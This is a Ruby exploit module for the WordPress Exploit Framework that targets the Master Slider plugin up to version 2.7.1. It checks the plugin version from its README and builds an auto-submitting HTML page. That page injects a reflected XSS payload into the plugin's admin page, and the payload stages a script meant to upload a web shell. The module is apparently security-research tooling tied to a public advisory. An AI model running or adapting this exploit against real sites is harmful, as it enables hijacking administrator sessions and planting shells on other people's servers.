# frozen_string_literal: true

class Wpxf::Exploit::MasterSliderReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Master Slider <= 2.7.1 Reflected XSS Shell Upload',
      author: [
        'Yorick Koster', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8548'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_master_slider_wordpress_plugin.html']
      ],
      date: 'Jul 12 2016'
    )
  end

  def check
    change_log = normalize_uri(wordpress_url_plugins, 'master-slider', 'README.txt')
    check_version_from_custom_file(change_log, /Version\s([\d\.]+)\s/, '2.7.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?page=master-slider', {
        page: '"><script>#{xss_ascii_encoded_include_script}<\\/script>'
      });
    </script></body></html>
    |
  end
end
